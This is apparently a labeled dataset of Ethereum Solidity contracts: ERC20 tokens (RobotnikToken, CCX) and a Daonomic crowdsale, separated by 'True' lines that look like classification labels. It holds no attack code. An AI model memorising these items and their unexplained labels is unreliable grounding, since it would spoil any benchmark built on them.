ownerBalance = 34450000 * factor; balances[msg.sender] = ownerBalance; emit Transfer(address(0), msg.sender, ownerBalance); } /** * @dev Burns a specific amount of tokens, could be called only once * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyOwner { require(!burnt); require(_value > 0); require(_value <= balances[msg.sender]); require(block.timestamp < 1690848000); //tokens are available to be burnt only for 5 years balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); burnt = true; emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0), _value); } /** * @dev Moves locked tokens to reserve account. Could be called only after release time, * otherwise would throw an exeption. */ function releaseReserveTokens() public { reserveTimelock.release(); } /** * @dev Moves locked tokens to team account. Could be called only after release time, * otherwise would throw an exeption. */ function releaseTeamTokens() public { teamTimelock.release(); } }
True
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pragma solidity ^0.4.23; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } // File: contracts/RobotnikToken.sol /* * RobotnikToken is a standard ERC20 token with some additional functionalities: * - Transfers are only enabled after contract owner enables it (after the ICO) * - Contract sets 40% of the total supply as allowance for ICO contract * * Note: Token Offering == Initial Coin Offering(ICO) */ contract RobotnikToken is StandardToken, BurnableToken, Ownable { string public constant symbol = "ROBOTNIK"; string public constant name = "ROBOTNIK CHAIN"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 102400000000 * (10 ** uint256(decimals)); uint256 public constant TOKEN_OFFERING_ALLOWANCE = 40960000000 * (10 ** uint256(decimals)); uint256 public constant ADMIN_ALLOWANCE = INITIAL_SUPPLY - TOKEN_OFFERING_ALLOWANCE; // Address of token admin address public adminAddr; // Address of token offering address public tokenOfferingAddr; // Enable transfers after conclusion of token offering bool public transferEnabled = true; /** * Check if transfer is allowed * * Permissions: * Owner Admin OfferingContract Others * transfer (before transferEnabled is true) x x x x * transferFrom (before transferEnabled is true) x o o x * transfer/transferFrom(after transferEnabled is true) o x x o */ modifier onlyWhenTransferAllowed() { require(transferEnabled || msg.sender == adminAddr || msg.sender == tokenOfferingAddr); _; } /** * Check if token offering address is set or not */ modifier onlyTokenOfferingAddrNotSet() { require(tokenOfferingAddr == address(0x0)); _; } /** * Check if address is a valid destination to transfer tokens to * - must not be zero address * - must not be the token address * - must not be the owner&#39;s address * - must not be the admin&#39;s address * - must not be the token offering contract address */ modifier validDestination(address to) { require(to != address(0x0)); require(to != address(this)); require(to != owner); require(to != address(adminAddr)); require(to != address(tokenOfferingAddr)); _; } /** * Token contract constructor * * @param admin Address of admin account */ function RobotnikToken(address admin) public { totalSupply_ = INITIAL_SUPPLY; // Mint tokens balances[msg.sender] = totalSupply_; Transfer(address(0x0), msg.sender, totalSupply_); // Approve allowance for admin account adminAddr = admin; approve(adminAddr, ADMIN_ALLOWANCE); } /** * Set token offering to approve allowance for offering contract to distribute tokens * * @param offeringAddr Address of token offering contract * @param amountForSale Amount of tokens for sale, set 0 to max out */ function setTokenOffering(address offeringAddr, uint256 amountForSale) external onlyOwner onlyTokenOfferingAddrNotSet { require(!transferEnabled); uint256 amount = (amountForSale == 0) ? TOKEN_OFFERING_ALLOWANCE : amountForSale; require(amount <= TOKEN_OFFERING_ALLOWANCE); approve(offeringAddr, amount); tokenOfferingAddr = offeringAddr; } /** * Enable transfers */ function enableTransfer() external onlyOwner { transferEnabled = true; // End the offering approve(tokenOfferingAddr, 0); } /** * Transfer from sender to another account * * @param to Destination address * @param value Amount of robotniktokens to send */ function transfer(address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transfer(to, value); } /** * Transfer from `from` account to `to` account using allowance in `from` account to the sender * * @param from Origin address * @param to Destination address * @param value Amount of robotniktokens to send */ function transferFrom(address from, address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transferFrom(from, to, value); } /** * Burn token, only owner is allowed to do this * * @param value Amount of tokens to burn */ function burn(uint256 value) public { require(transferEnabled || msg.sender == owner); super.burn(value); } }
True
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pragma solidity ^0.4.24; //part of Daonomic platform: https://daonomic.io /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer( ERC20Basic _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn&#39;t hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract CCXToken is BurnableToken, PausableToken, MintableToken { string public constant name = "Crypto Circle Exchange Token"; string public constant symbol = "CCX"; uint8 public constant decimals = 18; } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using &#39;super&#39; where appropiate to concatenate * behavior. */ contract DaonomicCrowdsale { using SafeMath for uint256; /** * @dev This event should be emitted when user buys something */ event Purchase(address indexed buyer, address token, uint256 value, uint256 sold, uint256 bonus, bytes txId); /** * @dev Should be emitted if new payment method added */ event RateAdd(address token); /** * @dev Should be emitted if payment method removed */ event RateRemove(address token); // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; // calculate token amount to be created (uint256 tokens, uint256 left) = _getTokenAmount(weiAmount); uint256 weiEarned = weiAmount.sub(left); uint256 bonus = _getBonus(tokens); uint256 withBonus = tokens.add(bonus); _preValidatePurchase(_beneficiary, weiAmount, tokens, bonus); _processPurchase(_beneficiary, withBonus); emit Purchase( _beneficiary, address(0), weiEarned, tokens, bonus, "" ); _updatePurchasingState(_beneficiary, weiEarned, withBonus); _postValidatePurchase(_beneficiary, weiEarned); if (left > 0) { _beneficiary.transfer(left); } } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount, uint256 _tokens, uint256 _bonus ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); require(_tokens != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal; /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState( address _beneficiary, uint256 _weiAmount, uint256 _tokens ) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount * and wei left (if no more tokens can be sold) */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256 tokens, uint256 weiLeft); function _getBonus(uint256 _tokens) internal view returns (uint256); } contract Whitelist { function isInWhitelist(address addr) public view returns (bool); } contract WhitelistDaonomicCrowdsale is Ownable, DaonomicCrowdsale { Whitelist public whitelist; constructor (Whitelist _whitelist) public { whitelist = _whitelist; } function getWhitelists() view public returns (Whitelist[]) { Whitelist[] memory result = new Whitelist[](1); result[0] = whitelist; return result; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount, uint256 _tokens, uint256 _bonus ) internal { super._preValidatePurchase(_beneficiary, _weiAmount, _tokens, _bonus); require(canBuy(_beneficiary), "investor is not verified by Whitelist"); } function canBuy(address _beneficiary) constant public returns (bool) { return whitelist.isInWhitelist(_beneficiary); } } contract RefundableDaonomicCrowdsale is DaonomicCrowdsale { event Refund(address _address, uint256 investment); mapping(address => uint256) public investments; function claimRefund() public { require(isRefundable()); require(investments[msg.sender] > 0); uint investment = investments[msg.sender]; investments[msg.sender] = 0; msg.sender.transfer(investment); emit Refund(msg.sender, investment); } function isRefundable() public view returns (bool); function _updatePurchasingState( address _beneficiary, uint256 _weiAmount, uint256 _tokens ) internal { super._updatePurchasingState(_beneficiary, _weiAmount, _tokens); investments[_beneficiary] = investments[_beneficiary].add(_weiAmount); } } contract CCXSale is WhitelistDaonomicCrowdsale, RefundableDaonomicCrowdsale { event UsdEthRateChange(uint256 rate); event Withdraw(address to, uint256 value); uint256 constant public SOFT_CAP = 50000000 * 10 ** 18; uint256 constant public HARD_CAP = 225000000 * 10 ** 18; uint256 constant public MINIMAL_CCX = 1000 * 10 ** 18; uint256 constant public START = 1539820800; // 18 oct 2018 00:00:00 uint256 constant public END = 1549152000; // 3 feb 2019 00:00:00 CCXToken public token; uint256 public sold; uint256 public rate; address public operator; constructor(CCXToken _token, Whitelist _whitelist, uint256 _usdEthRate, address _operator) WhitelistDaonomicCrowdsale(_whitelist) public { token = _token; operator = _operator; setUsdEthRate(_usdEthRate); //needed for Daonomic UI emit RateAdd(address(0)); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount, uint256 _tokens, uint256 _bonus ) internal { super._preValidatePurchase(_beneficiary, _weiAmount, _tokens, _bonus); require(now >= START); require(now < END); require(_tokens.add(_bonus) > MINIMAL_CCX); } function setUsdEthRate(uint256 _usdEthRate) onlyOperatorOrOwner public { rate = _usdEthRate.mul(100).div(9); emit UsdEthRateChange(_usdEthRate); } modifier onlyOperatorOrOwner() { require(msg.sender == operator || msg.sender == owner); _; } function withdrawEth(address _to, uint256 _value) onlyOwner public { _to.transfer(_value); emit Withdraw(_to, _value); } function setOperator(address _operator) onlyOwner public { operator = _operator; } function pauseToken() onlyOwner public { token.pause(); } function unpauseToken() onlyOwner public { token.unpause(); } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.mint(_beneficiary, _tokenAmount); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256 tokens, uint256 weiLeft) { tokens = _weiAmount.mul(rate); if (sold.add(tokens) > HARD_CAP) { tokens = HARD_CAP.sub(sold); //alternative to Math.ceil(tokens / rate) uint256 weiSpent = (tokens.add(rate).sub(1)).div(rate); weiLeft =_weiAmount.sub(weiSpent); } else { weiLeft = 0; } } function _getBonus(uint256 _tokens) internal view returns (uint256) { uint256 possibleBonus = getTimeBonus(_tokens) + getAmountBonus(_tokens); if (sold.add(_tokens).add(possibleBonus) > HARD_CAP) { return HARD_CAP.sub(sold).sub(_tokens); } else { return possibleBonus; } } function getTimeBonus(uint256 _tokens) public view returns (uint256) { if (now < 1542931200) { //23 nov 2018 00:00:00 return _tokens.mul(15).div(100); } else if (now < 1546041600) { // 29 dec 2018 00:00:00 return _tokens.mul(7).div(100); } else { return 0; } } function getAmountBonus(uint256 _tokens) public pure returns (uint256) { if (_tokens < 10000 * 10 ** 18) { return 0; } else if (_tokens < 100000 * 10 ** 18) { return _tokens.mul(3).div(100); } else if (_tokens < 1000000 * 10 ** 18) { return _tokens.mul(5).div(100); } else if (_tokens < 10000000 * 10 ** 18) { return _tokens.mul(7).div(100); } else { return _tokens.mul(10).div(100); } } function _updatePurchasingState( address _beneficiary, uint256 _weiAmount, uint256 _tokens ) internal { super._updatePurchasingState(_beneficiary, _weiAmount, _tokens); sold = sold.add(_tokens); } function isRefundable() public view returns (bool) { return now > END && sold < SOFT_CAP; } /** * @dev function for Daonomic UI */ function getRate(address _token) public view returns (uint256) { if (_token == address(0)) { return rate * 10 ** 18; } else { return 0; } } /** * @dev function for Daonomic UI */ function start() public pure returns (uint256) { return START; } /** * @dev function for Daonomic UI */ function end() public pure returns (uint256) { return END; } }
True
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pragma solidity ^0.4.19; // File: node_modules/zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: node_modules/zeppelin-solidity/contracts/crowdsale/Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using &#39;super&#39; where appropiate to concatenate * behavior. 